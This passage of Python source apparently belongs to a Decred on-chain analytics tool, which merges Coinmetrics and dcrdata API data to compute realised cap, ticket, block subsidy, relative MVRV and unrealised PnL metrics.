'FeeMeanNtv','FeeMeanUSD', 'FeeMedNtv', 'FeeMedUSD', 'FeeTotNtv', 'FeeTotUSD',\n 'PriceBTC', 'PriceUSD', 'PriceRealUSD','PriceRealBTC', 'BTC_PriceUSD', 'SplyCur',\n 'TxRealDCR','TxCnt', 'TxTfrCnt', 'TxTfrValAdjNtv', 'TxTfrValAdjUSD',\n 'TxTfrValMeanNtv', 'TxTfrValMeanUSD', 'TxTfrValMedNtv',\n 'TxTfrValMedUSD', 'TxTfrValNtv', 'TxTfrValUSD',\n 'notes'\n \"\"\" \n df = Coinmetrics_api('dcr',\"2016-02-08\",today).convert_to_pd()\n #Calculate coin age since launch in days\n df['age_days'] = (df[['date']] - df.loc[0,['date']])/np.timedelta64(1,'D')\n #Calculate coin age since launch in terms of supply\n df['age_sply'] = df['SplyCur'] / 21e6\n print('...adding PriceUSD and CapMrktCurUSD for $0.49 (founders, 8/9-Feb-2016)')\n print('and Bittrex (10-02-2016 to 16-05-2016)...')\n #Import Early price data --> \n # founders $0.49 for 8/9 Feb 2016 \n # Bitrex up to 16-May-2016 (saved in relative link csv)\n filename = self.dirname + '/resources/data/dcr_pricedata_2016-02-08_2016-05-16.csv'\n df_early = pd.read_csv(filename)\n df_early['date'] = pd.to_datetime(df_early['date'],utc=True) #Convert to correct datetime format\n df['notes'] = str('') # add notes for storing data\n for i in df_early['date']: #swap in early price data\n #Add Early PriceUSD Data\n df.loc[df.date==i,'PriceUSD'] = float(\n df_early.loc[df_early.date==i,'PriceUSD']\n )\n #Add Early PriceBTC Data\n df.loc[df.date==i,'PriceBTC'] = float(\n df_early.loc[df_early.date==i,'PriceBTC']\n )\n #Add Early MarketCap Data\n df.loc[df.date==i,'CapMrktCurUSD'] = (\n df.loc[df.date==i,'PriceUSD'] * \n df.loc[df.date==i,'SplyCur']\n )\n #Add Notes\n df.loc[df.date==i,'notes'] = df_early.loc[df_early.date==i,'notes']\n #Populate Columns which early prices feed into\n df = general_helpers.early_price_metric(df,'DailyIssuedUSD','DailyIssuedNtv')\n df = general_helpers.early_price_metric(df,'FeeTotUSD','FeeTotNtv')\n df = general_helpers.early_price_metric(df,'FeeMeanUSD','FeeMeanNtv')\n df = general_helpers.early_price_metric(df,'FeeMedUSD','FeeMedNtv')\n df = general_helpers.early_price_metric(df,'TxTfrValAdjUSD','TxTfrValAdjNtv')\n df = general_helpers.early_price_metric(df,'TxTfrValUSD','TxTfrValNtv')\n df = general_helpers.early_price_metric(df,'TxTfrValMeanUSD','TxTfrValMeanNtv')\n df = general_helpers.early_price_metric(df,'TxTfrValMedUSD','TxTfrValMedNtv')\n \n #Calculate Realised Cap and Price in BTC\n df['BTC_PriceUSD'] = df['PriceUSD'] / df['PriceBTC'] #BTC Price USD\n df['CapMrktCurBTC'] = df['SplyCur'] * df['PriceBTC']\n #Take change in Realised USD, divided by BTC Price then cumsum\n df['CapRealBTC'] = (df['CapRealUSD'].diff()/df['BTC_PriceUSD']).cumsum()\n df['PriceRealBTC'] = df['CapRealBTC']/df['SplyCur']\n\n #Calculate DCR moved influencing Realised Cap\n df['TxRealDCR'] = df['CapRealUSD'].diff() / df['PriceUSD']\n\n # Restructure final dataset\n df = df[[\n 'date', 'blk','age_days','age_sply','btc_blk_est',\n 'BlkSizeByte', 'BlkSizeMeanByte',\n 'DailyIssuedNtv', 'DailyIssuedUSD', 'inf_pct_ann', 'S2F',\n 'AdrActCnt', 'BlkCnt', 'BlkSizeByte', 'BlkSizeMeanByte',\n 'CapMVRVCur', 'CapMrktCurUSD', 'CapMrktCurBTC', 'CapRealUSD','CapRealBTC', 'DiffMean', \n 'FeeMeanNtv','FeeMeanUSD', 'FeeMedNtv', 'FeeMedUSD', 'FeeTotNtv', 'FeeTotUSD',\n 'PriceBTC', 'PriceUSD', 'PriceRealUSD','PriceRealBTC', 'BTC_PriceUSD', 'SplyCur',\n 'TxRealDCR','TxCnt', 'TxTfrCnt', 'TxTfrValAdjNtv', 'TxTfrValAdjUSD',\n 'TxTfrValMeanNtv', 'TxTfrValMeanUSD', 'TxTfrValMedNtv',\n 'TxTfrValMedUSD', 'TxTfrValNtv', 'TxTfrValUSD',\n 'notes'\n ]]\n print(\n \"\"\"\n ADDED COLUMNS - DCR_Coin\n \"\"\" + str(df.columns)\n )\n #Reformat datetime\n #df['date'] = df['date'].dt.strftime('%d-%m-%y')\n return df\n\n def dcr_diff(self):\n \"\"\"\n Pulls dcrdata Difficulty data\n Data is arranged by difficulty window (144 blocks)\n OUTPUT COLUMNS:\n 'blk' - block height\n 'window' - windoc count (count if 144 windows)\n 'time' - time (timestamp)\n 'tic_cnt_window'- Tickets bought in window (max 2880)\n 'tic_price' - Ticket Price | Stake Difficulty (DCR)\n 'tic_miss' - Tickets missed in window\n 'pow_diff' - PoW Difficulty\n \"\"\"\n df = dcrdata_api().dcr_difficulty()\n print(\n \"\"\"\n ADDED COLUMNS:\n 'blk' - block height\n 'window' - windoc count (count if 144 windows)\n 'time' - time (timestamp)\n 'tic_cnt_window'- Tickets bought in window (max 2880)\n 'tic_price' - Ticket Price | Stake Difficulty (DCR)\n 'tic_miss' - Tickets missed in window\n 'pow_diff' - PoW Difficulty\n \"\"\"\n )\n return df\n\n def dcr_perf(self):\n \"\"\"\n Pulls dcrdata Performance data\n Data is arranged by block\n OUTPUT COLUMNS:\n 'blk' - block height\n 'time' - time (timestamp)\n 'blk_time_s' - block time (seconds)\n 'dcr_sply' - circulating supply (DCR)\n 'dcr_tic_sply' - ticket pool value (DCR)\n 'tic_blk' - Tickets bought per block (max 20)\n 'tic_pool' - Tickets in the pool (40,960 target)\n 'pow_hashrate_THs' - PoW Hashrate in Terahash/s\n 'pow_work_TH' - Cummulative work (TH/s)\n \"\"\"\n df = dcrdata_api().dcr_performance()\n print(\n \"\"\"\n OUTPUT COLUMNS:\n 'blk' - block height\n 'time' - time (timestamp)\n 'blk_time_s' - block time (seconds)\n 'dcr_sply' - circulating supply (DCR)\n 'dcr_tic_sply' - ticket pool value (DCR)\n 'tic_blk' - Tickets bought per block (max 20)\n 'tic_pool' - Tickets in the pool (40,960 target)\n 'pow_hashrate_THs' - PoW Hashrate in Terahash/s\n 'pow_work_TH' - Cummulative work (TH/s)\n \"\"\"\n )\n return df\n\n def dcr_priv(self):\n \"\"\"\n Pulls dcrdata Privacy data\n Data is arranged by day\n OUTPUT COLUMNS:\n 'blk' - block height\n 'time' - time (timestamp)\n 'dcr_sply' - circulating supply (DCR)\n 'dcr_anon_sply' - anonymity pool value (DCR)\n 'dcr_anon_part' - Anonymity participation (anon pool / circ. supply)\n 'dcr_anon_mix_vol' - Daily DCR mixed\n \"\"\"\n df = dcrdata_api().dcr_privacy()\n print(\n \"\"\"\n OUTPUT COLUMNS:\n 'blk' - block height\n 'time' - time (timestamp)\n 'dcr_sply' - circulating supply (DCR)\n 'dcr_anon_sply' - anonymity pool value (DCR)\n 'dcr_anon_part' - Anonymity participation (anon pool / circ. supply)\n 'dcr_anon_mix_vol' - Daily DCR mixed\n \"\"\"\n )\n return df\n \n def dcr_natv(self):\n \"\"\"\n Compile dcrdata sets dcr_diff and dcr_perf (Final dataset is by block)\n Difficulty is filled backwards (step function)\n OUTPUT COLUMNS:\n As per dcr_diff and ddcr_perf (not repeated for brevity)\n Dropped 'time' and 'tic_miss'\n \"\"\"\n _diff = self.dcr_diff() #Pull dcrdata difficulty\n _perf = self.dcr_perf() #Pull dcrdata performance\n # DCR_natv = merge _diff (by window) to _perf (by blk)\n df = pd.merge(\n _perf.drop(['time'],axis=1),\n _diff.drop(['time','tic_miss'],axis=1),\n on='blk',how='left')\n # Fill backwards for difficulty metrics\n df[['tic_price','pow_diff','window']] = df[\n ['tic_price','pow_diff','window']\n ].fillna(method='bfill')\n # Restructure final dataset\n df = df[[\n 'blk', 'window','blk_time_s',\n 'tic_cnt_window', 'tic_price', 'tic_blk', 'tic_pool',\n 'dcr_tic_sply', 'dcr_sply',\n 'pow_diff','pow_hashrate_THs', 'pow_work_TH'\n ]]\n return df\n\n def dcr_sply(self,to_blk): #Calculate Theoretical Supply Curve\n \"\"\"\n Calculates the theoretical supply curve by block height\n INPUTS:\n to_blk = Integer, block height to calcuate up to (from 0)\n OUTPUT COLUMNS:\n 'blk' - block height\n 'blk_reward' - Total block reward\n 'Sply_ideal' - Ideal Total Supply (DCR)\n 'PoWSply_ideal' - Ideal PoW Issued Supply (DCR)\n 'PoSSply_ideal' - Ideal PoS Issued Supply incl. 4% Premine (DCR)\n 'FundSply_ideal' - Ideal Treasury Issued Supply incl. 4% Premine (DCR)\n 'inflation_ideal' - Idealised Inflation Rate\n 'S2F_ideal' - Idealised Stock-to-Flow Ratio\n \"\"\"\n df = dcr_supply_schedule(to_blk).dcr_supply_function()\n print(\n \"\"\"\n OUTPUT COLUMNS:\n 'blk' - block height\n 'blk_reward' - Total block reward\n 'Sply_ideal' - Ideal Total Supply (DCR)\n 'PoWSply_ideal' - Ideal PoW Issued Supply (DCR)\n 'PoSSply_ideal' - Ideal PoS Issued Supply incl. 4% Premine (DCR)\n 'FundSply_ideal' - Ideal Treasury Issued Supply incl. 4% Premine (DCR)\n 'inflation_ideal' - Idealised Inflation Rate\n 'S2F_ideal' - Idealised Stock-to-Flow Ratio\n \"\"\"\n )\n return df\n\n def dcr_sply_curtailed(self,to_blk):\n \"\"\"\n Curtail theoretical supply curve (dcr_sply) to reduce load on charting packages\n INPUTS:\n to_blk = Integer, block height to calcuate up to (from 0)\n OUTPUT COLUMNS:\n As per dcr_sply (not repeated for brevity)\n \"\"\"\n df = self.dcr_sply(to_blk)\n df = df.iloc[::int(self.sply_curtail), :] #Select every \n return df\n\n def dcr_real(self):\n \"\"\"\n Compiles Coinmetrics (dcr_coin) and dcrdata (dcr_natv) for general data analytics\n OUTPUT COLUMNS:\n TIME VARIABLES\n 'date' - Datetime \n 'blk' - Block Height\n 'blk_time_s' - Block Time (seconds)\n 'age_days' - Coin Age in Days\n 'age_sply' - Coin age in Supply (SplyCur/21M)\n 'window' - Count of difficulty window\n 'BlkSizeByte' - Daily Total Block Size (bytes)\n 'BlkSizeMeanByte' - Avg Block Size (bytes)\n 'BlkCnt' - Daily Block Count\n 'CapMrktCurUSD' - Market Cap (USD)\n 'CapMrktCurBTC' - Market Cap (BTC)\n 'CapRealUSD' - Realised Cap (USD)\n 'CapRealBTC' - Realised Cap (BTC)\n 'CapMVRVCur' - MVRV Ratio\n 'PriceBTC' - Price in BTC\n 'PriceUSD' - Price in USD\n 'PriceRealUSD' - Realised Price (USD)\n 'PriceRealBTC' - Realised Price (BTC)\n 'BTC_PriceUSD' - BTC Price\n 'DailyIssuedNtv' - Daily DCR Issued\n 'DailyIssuedUSD' - Daily Issued USD\n 'AdrActCnt' - Active Address Count\n 'TxTfrValNtv' - Daily Transferred DCR\n 'TxTfrValUSD' - Daily Transferred USD\n 'TxTfrValAdjNtv' - Daily Transferred DCR (Adjusted for noise)\n 'TxTfrValAdjUSD' - Daily Transferred USD (Adjusted for noise)\n 'TxTfrValMedNtv' - Median DCR Transaction\n 'TxTfrValMeanNtv' - Mean DCR Transaction\n 'TxRealDCR' - DCR moved which influenced the Realised Cap\n 'TxCnt' - Daily transaction count (Full count incl 0 DCR Tx)\n 'TxTfrCnt' - Daily Transfer count (transfer of non-zero DCR)\n 'FeeTotNtv' - Total Fees DCR\n 'FeeTotUSD' - Total Fees USD\n 'S2F' - Actual Stock-to-Flow Ratio\n 'inf_pct_ann' - Annual Inflation Rate\n 'SplyCur' - DCR Supply (Coinmetrics)\n 'dcr_sply' - DCR Supply (dcrdata)\n 'dcr_tic_sply_avg' - Average DCR Supply locked in Tickets over day\n 'tic_day' - Number of Tickets purchased that day\n 'tic_price_avg' - Average ticket price over the day\n 'tic_pool_avg' - Number of tickets in Pool (Target 40,960)\n 'DiffMean' - Average PoW Difficulty on day (Coinmetrics)\n 'pow_diff_avg' - Average PoW Difficulty on day (dcrdata)\n 'pow_hashrate_THs_avg' - Average PoW Hashrate on day (TH/s)\n 'pow_work_TH' - Cumulative PoW in TH\n 'dcr_anon_sply' - Total DCR in anonymity set\n 'dcr_anon_part' - Privacy Participation (dcr_anon_sply/dcr_sply)\n 'dcr_anon_mix_vol' - Daily mixing volume (DCR)\n \"\"\"\n print('...Combining Decred specific metrics - (coinmetrics + dcrdata)...')\n _coin = self.dcr_coin() #Coinmetrics by date\n _natv = self.dcr_natv() #dcrdata API by block\n _priv = self.dcr_priv() #Pull dcrdata privacy\n #_blk_max = int(_coin['blk'][_coin.index[-1]])\n #Cull _coin to Key Columns\n _coin = _coin[[\n 'date','blk','age_days','age_sply',\n 'BlkSizeByte', 'BlkSizeMeanByte','BlkCnt',\n 'CapMrktCurUSD','CapMrktCurBTC','CapRealUSD','CapRealBTC','CapMVRVCur',\n 'DiffMean','PriceBTC','PriceUSD','PriceRealUSD','PriceRealBTC','BTC_PriceUSD',\n 'SplyCur','DailyIssuedNtv','DailyIssuedUSD','S2F',\n 'inf_pct_ann','TxCnt','TxTfrCnt','TxTfrValMedNtv','TxTfrValMeanNtv',\n 'TxTfrValNtv','TxTfrValUSD','TxTfrValAdjNtv','TxTfrValAdjUSD','TxRealDCR',\n 'FeeTotNtv','FeeTotUSD','AdrActCnt']]\n \n #Add new columns for transferring _natv data to_coin\n _coin['tic_day'] = 0.0\n _coin['tic_price_avg'] = 0.0\n _coin['tic_pool_avg'] = 0.0\n _coin['dcr_tic_sply_avg'] = 0.0\n _coin['pow_diff_avg'] = 0.0\n _coin['pow_hashrate_THs_avg'] = 0.0\n blk_from = 0 #Captures last _coin block (block from)\n _row = 0 #Captures current block height (natv is by block)\n for i in _coin['blk']:\n #Sum tickets bought on the day\n _coin.loc[_row,['tic_day']] = (\n float(_natv.loc[blk_from:i,['tic_blk']].sum()) #tickets bought that day\n )\n #Average Ticket price over day\n _coin.loc[_row,['tic_price_avg']] = (\n float(_natv.loc[blk_from:i,['tic_price']].mean()) #avg tic price that day\n )\n #Average Tickets in Pool over day\n _coin.loc[_row,['tic_pool_avg']] = (\n float(_natv.loc[blk_from:i,['tic_pool']].mean()) #avg tic price that day\n )\n #Average DCR Locked in Tickets over day\n _coin.loc[_row,['dcr_tic_sply_avg']] = (\n float(_natv.loc[blk_from:i,['dcr_tic_sply']].mean()) #avg tic price that day\n )\n #Average PoW Difficulty\n _coin.loc[_row,['pow_diff_avg']]= (\n float(_natv.loc[blk_from:i,['pow_diff']].mean()) #avg hashrate that day\n )\n #Average PoW Hashrate in TH/s\n _coin.loc[_row,['pow_hashrate_THs_avg']]= (\n float(_natv.loc[blk_from:i,['pow_hashrate_THs']].mean()) #avg hashrate that day\n )\n blk_from = i\n _row += 1\n #Merge _coin and _natv\n df = pd.merge(\n _coin,\n _natv.drop(\n ['tic_cnt_window','pow_diff','pow_hashrate_THs','tic_pool','dcr_tic_sply'],axis=1\n ),on='blk',how='left'\n )\n #Merge df with _priv (on date)\n df = pd.merge(\n df,\n _priv.drop(['time','dcr_sply'],axis=1),\n on='date',how='left')\n #Compile into final ordered dataframe\n df = df[[\n 'date', 'blk','blk_time_s', 'age_days','age_sply','window', #Time Metrics\n 'BlkSizeByte', 'BlkSizeMeanByte','BlkCnt', #Blockchain Size Metrics\n 'CapMrktCurUSD', 'CapMrktCurBTC', 'CapRealUSD','CapRealBTC','CapMVRVCur', #Value Metrics\n 'PriceBTC', 'PriceUSD', 'PriceRealBTC', 'PriceRealUSD','BTC_PriceUSD', #Price Metrics\n 'DailyIssuedNtv','DailyIssuedUSD','AdrActCnt','TxCnt','TxTfrCnt', #Block Reward Metrics\n 'TxTfrValNtv','TxTfrValUSD','TxTfrValAdjNtv','TxTfrValAdjUSD', #Global Transaction Metrics\n 'TxTfrValMedNtv','TxTfrValMeanNtv', #Local Transaction Metrics\n 'FeeTotNtv','FeeTotUSD', #Fee Metrics\n 'S2F', 'inf_pct_ann','SplyCur', 'dcr_sply', #Supply Metrics\n 'dcr_tic_sply_avg','tic_day', 'tic_price_avg', 'tic_pool_avg', #Ticket Metrics\n 'DiffMean','pow_diff_avg', 'pow_hashrate_THs_avg', 'pow_work_TH', #PoW Metrics\n 'dcr_anon_sply', 'dcr_anon_part','dcr_anon_mix_vol' #Privacy Metrics\n ]]\n general_helpers.df_to_csv(df,'DCR_data')\n return df\n\n def dcr_subsidy_models(self):\n \"\"\"\n Calculates DataFrame Cols for Decred block subsidy Models (Permabull Nino, 2019)\n Note 'X' in col name can be replaced by dcr, usd, btc for different metrics\n Results are daily, applying .cumsum() will provide lifetime aggregate\n Starting df = dcr_real\n OUTPUT COLUMNS: \n 'PoW_income_X' = Daily subsidy paid to PoW Miners\n 'PoS_income_X' = Daily subsidy paid to PoS Stakeholders\n 'Fund_income_X' = Daily subsidy paid to Treasury Fund\n 'Total_income_X' = Total Daily subsidy paid by protocol\n \"\"\"\n\n print('...Calculating Decred block subsidy models...')\n df = self.dcr_real()\n #Calculate Block Subsidy Models\n df['PoW_income_dcr'] = df['DailyIssuedNtv'] * self.blkrew_ratio[0] + df['FeeTotNtv']\n df['PoS_income_dcr'] = df['DailyIssuedNtv'] * self.blkrew_ratio[1]\n df['Fund_income_dcr'] = df['DailyIssuedNtv'] * self.blkrew_ratio[2]\n df['Total_income_dcr'] = df['DailyIssuedNtv'] + df['FeeTotNtv']\n \n df['PoW_income_usd'] = df['PoW_income_dcr'] * df['PriceUSD']\n df['PoS_income_usd'] = df['PoS_income_dcr'] * df['PriceUSD']\n df['Fund_income_usd'] = df['Fund_income_dcr'] * df['PriceUSD']\n df['Total_income_usd'] = df['Total_income_dcr'] * df['PriceUSD']\n\n df['PoW_income_btc'] = df['PoW_income_dcr'] * df['PriceBTC']\n df['PoS_income_btc'] = df['PoS_income_dcr'] * df['PriceBTC']\n df['Fund_income_btc'] = df['Fund_income_dcr'] * df['PriceBTC']\n df['Total_income_btc'] = df['Total_income_dcr'] * df['PriceBTC']\n\n print(\n \"\"\"\n OUTPUT COLUMNS: \n 'PoW_income_X' = Daily subsidy paid to PoW Miners\n 'PoS_income_X' = Daily subsidy paid to PoS Stakeholders\n 'Fund_income_X' = Daily subsidy paid to Treasury Fund\n 'Total_income_X' = Total Daily subsidy paid by protocol\n \"\"\"\n )\n return df\n\n def dcr_ticket_models(self): #Calculate Ticket Based Valuation Metrics\n \"\"\"\n Calculates Ticket specific metrics for Decred\n Starting df = dcr_subsidy_models\n OUTPUT COLUMNS:\n 'dcr_tic_vol' = Daily DCR Transaction Volume associated with ticket purchases\n 'dcr_tfr_vol' = Daily DCR Transaction Volume Not associated with tickets\n 'tic_tfr_vol_ratio' = Ratio of tickets to total DCR transaction volume\n 'tic_usd_cost' = Total Daily USD Spend on Tickets\n 'tic_btc_cost' = Total Daily BTC Spend on Tickets\n 'CapTicUSD' = Ticket Cap, cumulative USD spend on tickets\n 'CapTicBTC' = Ticket Cap, cumulative BTC spend on tickets\n 'CapTicPriceUSD' = Ticket Investment Price (USD) = Ticket Cap / Circulating Supply\n 'CapTicPriceBTC' = Ticket Investment Price (BTC) = Ticket Cap / Circulating Supply\n \"\"\"\n print('...Calculating Decred Ticket models...')\n df = self.dcr_subsidy_models()\n #Calculate Ticket Volumes On-chain\n # Daily DCR Transaction Volume associated with ticket purchases\n df['dcr_tic_vol'] = df['tic_day'] * df['tic_price_avg']\n # Daily DCR Transaction Volume Not associated with tickets\n df['dcr_tfr_vol'] = df['TxTfrValNtv'] - df['dcr_tic_vol']\n # Ratio of tickets to total DCR transaction volume\n df['tic_tfr_vol_ratio'] = df['dcr_tic_vol'] / df['TxTfrValNtv']\n\n #Ticket Investment Metrics\n # Daily USD and BTC Spent on Tickets\n df['tic_usd_cost'] = df['dcr_tic_vol'] * df['PriceUSD']\n df['tic_btc_cost'] = df['dcr_tic_vol'] * df['PriceBTC']\n # Ticket Cap = cummulative spend on tickets\n df['CapTicUSD'] = df['tic_usd_cost'].cumsum()\n df['CapTicBTC'] = df['tic_btc_cost'].cumsum()\n # Ticket Investment Price = Ticket Cap / Circulating Supply\n df['CapTicPriceUSD'] = df['CapTicUSD'] / df['SplyCur']\n df['CapTicPriceBTC'] = df['CapTicBTC'] / df['SplyCur']\n\n #Write to csv for others\n general_helpers.df_to_csv(df,'DCR_tics')\n print(\n \"\"\"\n OUTPUT COLUMNS:\n 'dcr_tic_vol' = Daily DCR Transaction Volume associated with ticket purchases\n 'dcr_tfr_vol' = Daily DCR Transaction Volume Not associated with tickets\n 'tic_tfr_vol_ratio' = Ratio of tickets to total DCR transaction volume\n 'tic_usd_cost' = Total Daily USD Spend on Tickets\n 'tic_btc_cost' = Total Daily BTC Spend on Tickets\n 'CapTicUSD' = Ticket Cap, cumulative USD spend on tickets\n 'CapTicBTC' = Ticket Cap, cumulative BTC spend on tickets\n 'CapTicPriceUSD' = Ticket Investment Price (USD) = Ticket Cap / Circulating Supply\n 'CapTicPriceBTC' = Ticket Investment Price (BTC) = Ticket Cap / Circulating Supply\n \"\"\"\n )\n return df\n\n def dcr_treasury(self):\n df = dcrdata_api().dcr_treasury()\n return df\n\n def metric_mvrv_relative_btc(self,df):\n \"\"\"\n Adds market-realised gradient metrics\n INPUT:\n df = DataFrame for Decred\n ADDED COLUMNS:\n PriceBTC_onchain = Onchain DCRBTC Price (DCR Real / BTC Real Caps)\n DCRBTC_MVRV = Relative MVRV, Compares premium / discount of Market Price vs Realized Price across coins\n Price_DCRBTC_MVRV = Relative MVRV Price (1.0 means MVRV Ratio is equal between BTC and DCR)\n Price_DCRBTC_Mid = Relative Mid-point between PriceBTC_onchain and Price_DCRBTC_MVRV\n DCRBTC_MVRV_28avg = 28-day Average of Relative MVRV Ratio (DCRBTC_MVRV)\n DCRBTC_MVRV_142avg = 142-day Average of Relative MVRV Ratio (DCRBTC_MVRV)\n \"\"\"\n btc = btc_add_metrics().btc_coin()\n\n btc = btc[['date','CapRealUSD','PriceRealUSD','CapMVRVCur']]\n btc.columns = ['date','BTC_CapRealUSD','BTC_PriceRealUSD','BTC_CapMVRVCur']\n\n _df = df.merge(btc,on='date',copy=False)\n #Onchain DCRBTC Price\n df['PriceBTC_onchain'] = _df['CapRealUSD'] / _df['BTC_CapRealUSD']\n #Relative MVRV Ratio\n df['DCRBTC_MVRV'] = _df['CapMVRVCur'] / _df['BTC_CapMVRVCur']\n #Relative MVRV Price\n df['Price_DCRBTC_MVRV'] = _df['PriceBTC'] / df['DCRBTC_MVRV']\n #Relative Mid Point\n df['Price_DCRBTC_Mid'] = (df['PriceBTC_onchain'] + df['Price_DCRBTC_MVRV']) / 2\n #Relative MVRV Average\n df['DCRBTC_MVRV_28avg'] = df['DCRBTC_MVRV'].rolling(28).mean()\n df['DCRBTC_MVRV_142avg']= df['DCRBTC_MVRV'].rolling(142).mean()\n print(\n \"\"\"\n Added COLUMNS:\n PriceBTC_onchain = Onchain DCRBTC Price (DCR Real / BTC Real Caps)\n DCRBTC_MVRV = Relative MVRV, Compares premium / discount of Market Price vs Realized Price across coins\n Price_DCRBTC_MVRV = Relative MVRV Price (1.0 means MVRV Ratio is equal between BTC and DCR)\n Price_DCRBTC_Mid = Relative Mid-point between PriceBTC_onchain and Price_DCRBTC_MVRV\n DCRBTC_MVRV_28avg = 28-day Average of Relative MVRV Ratio (DCRBTC_MVRV)\n DCRBTC_MVRV_142avg = 142-day Average of Relative MVRV Ratio (DCRBTC_MVRV)\n \"\"\"\n )\n return df\n\n def metric_mrkt_real_gradient_usd(self,df,period):\n \"\"\"\n Adds market-realised gradient metrics\n INPUT:\n df = DataFrame\n period = int, period for gradient\n ADDED COLUMNS:\n MrktGradient = Gradient of Market Cap over period\n RealGradient = Gradient of Realised Cap over period\n DeltaGradient = Difference between market and realised gradient\n \"\"\"\n df['MrktGradient'] = ((\n df['PriceUSD'] \n - df['PriceUSD'].shift(periods=period,axis=0)\n ) / period)\n\n df['RealGradient'] = ((\n df['PriceRealUSD'] \n - df['PriceRealUSD'].shift(periods=period,axis=0)\n ) / period)\n\n df['DeltaGradient'] = df['MrktGradient'] - df['RealGradient']\n print(\n \"\"\"\n ADDED COLUMNS:\n MrktGradient = Gradient of Market Cap over period\n RealGradient = Gradient of Realised Cap over period\n DeltaGradient = Difference between market and realised gradient\n \"\"\"\n )\n return df\n\n def metric_mrkt_real_gradient_btc(self,df,period):\n \"\"\"\n Adds market-realised gradient metrics\n INPUT:\n df = DataFrame\n period = int, period for gradient\n ADDED COLUMNS:\n MrktGradientBTC = Gradient of Market Cap over period (BTC Pricing)\n RealGradientBTC = Gradient of Realised Cap over period (BTC Pricing)\n DeltaGradientBTC = Difference between market and realised gradient (BTC Pricing)\n DeltaRelativeBTC = Difference between 28-day and 142-day relative MVRV Ratio\n \"\"\"\n df = self.metric_mvrv_relative_btc(df)\n\n df['MrktGradientBTC'] = ((\n df['PriceBTC'] \n - df['PriceBTC'].shift(periods=period,axis=0)\n ) / period)\n\n df['RealGradientBTC'] = ((\n df['PriceRealBTC'] \n - df['PriceRealBTC'].shift(periods=period,axis=0)\n ) / period)\n\n df['DeltaGradientBTC'] = df['MrktGradientBTC'] - df['RealGradientBTC']\n df['DeltaRelativeBTC'] = df['DCRBTC_MVRV_28avg'] - df['DCRBTC_MVRV_142avg']\n\n print(\n \"\"\"\n ADDED COLUMNS:\n MrktGradientBTC = Gradient of Market Cap over period (BTC Pricing)\n RealGradientBTC = Gradient of Realised Cap over period (BTC Pricing)\n DeltaGradientBTC = Difference between market and realised gradient (BTC Pricing)\n DeltaRelativeBTC = Difference between 28-day and 142-day relative MVRV Ratio\n \"\"\"\n )\n return df\n\n def metric_unrealised_PnL(self,df):\n \"\"\"\n Adds unrealised PnL from market and realised caps\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n UnrealisedPnL_Net = Net Unrealised PnL = (Market Cap - Realised Cap)/Market Cap\n UPnL_capitulation = Capitulation --> UnrealisedPnL_Net < -0.50\n UPnL_fear = Hope Fear --> -0.50 < UnrealisedPnL_Net < -0.25\n UPnL_optimism = Optimism-Anxiety --> -0.25 < UnrealisedPnL_Net < -0.25\n UPnL_belief = Belief-Denial --> -0.25 < UnrealisedPnL_Net < -0.50\n UPnL_euphoria = Euphoria --> UnrealisedPnL_Net > 0.50\n \"\"\"\n df['UnrealisedPnL_Net'] = (\n df['CapMrktCurUSD'] - df['CapRealUSD']\n ) / df['CapMrktCurUSD']\n\n j = 0\n name = str()\n for i in [-0.50,-0.25,0.00,0.50,0.50]:\n a = -0.00\n if i == -0.50:\n name = 'UPnL_capitulation'\n df[name] = df['UnrealisedPnL_Net'] #set equal to net PnL\n df.loc[df[name]>=i - a*5,name] = 0 #set >= 0 to nan\n elif j == 0.50:\n name = 'UPnL_euphoria'\n df[name] = df['UnrealisedPnL_Net'] #set equal to net PnL\n df.loc[df[name]<=i + a,name] = 0 #set < 1.0 to nan\n else:\n if i == - 0.25:\n name = 'UPnL_fear'\n elif i == 0.00:\n name = 'UPnL_optimism'\n elif i == 0.50:\n name = 'UPnL_belief'\n df[name] = df['UnrealisedPnL_Net'] #set equal to net PnL\n df.loc[df[name]<=j + a, name] = 0 #set Outside range to nan\n df.loc[df[name]>=i - a, name] = 0 #set Outside range to nan\n j = i\n\n print(\n \"\"\"\n ADDED COLUMNS:\n UnrealisedPnL_Net = Net Unrealised PnL = (Market Cap - Realised Cap)/Market Cap\n UPnL_capitulation = Capitulation --> UnrealisedPnL_Net < -0.50\n UPnL_fear = Hope Fear --> -0.50 < UnrealisedPnL_Net < -0.25\n UPnL_optimism = Optimism-Anxiety --> -0.25 < UnrealisedPnL_Net < -0.25\n UPnL_belief = Belief-Denial --> -0.25 < UnrealisedPnL_Net < -0.50\n UPnL_euphoria = Euphoria --> UnrealisedPnL_Net > 0.50\n \"\"\"\n )\n\n return df\n\n def metric_block_subsidy_usd(self,df):\n \"\"\"\n Block Subsidy models priced in USD\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n SubsidyPoWCapUSD = PoW Block Subsidy Cap (USD)\n SubsidyPoSCapUSD = PoS Block Subsidy Cap (USD)\n SubsidyFundCapUSD = Treasury Block Subsidy Cap (USD)\n SubsidyCapUSD = Total Block Subsidy Cap (USD)\n AdjSubsidyCapUSD = Adjusted Subsidy Cap (USD)\n AdjSubsidyPriceUSD = Adjusted Subsidy Price (USD)\n \"\"\"\n\n #Block Subsidy Models\n df['SubsidyPoWCapUSD'] = df['PoW_income_usd'].cumsum()\n df['SubsidyPoSCapUSD'] = df['PoS_income_usd'].cumsum()\n df['SubsidyFundCapUSD'] = df['Fund_income_usd'].cumsum()\n df['SubsidyCapUSD'] = df['Total_income_usd'].cumsum()\n\n #Adjusted Supply Issued Cap (EXPERIMENTAL)\n df['AdjSubsidyCapUSD'] = df['SubsidyCapUSD'] *10*(101/100)**(np.floor(df['blk']/6144))\n df['AdjSubsidyPriceUSD'] = df['AdjSubsidyCapUSD'] / df['SplyCur']\n\n print(\n \"\"\"\n ADDED COLUMNS:\n SubsidyPoWCapUSD = PoW Block Subsidy Cap (USD)\n SubsidyPoSCapUSD = PoS Block Subsidy Cap (USD)\n SubsidyFundCapUSD = Treasury Block Subsidy Cap (USD)\n SubsidyCapUSD = Total Block Subsidy Cap (USD)\n AdjSubsidyCapUSD = Adjusted Subsidy Cap (USD)\n AdjSubsidyPriceUSD = Adjusted Subsidy Price (USD)\n \"\"\"\n )\n return df\n\n def metric_block_subsidy_btc(self,df):\n \"\"\"\n Block Subsidy models priced in USD\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n SubsidyPoWCapUSD = PoW Block Subsidy Cap (USD)\n SubsidyPoSCapUSD = PoS Block Subsidy Cap (USD)\n SubsidyFundCapUSD = Treasury Block Subsidy Cap (USD)\n 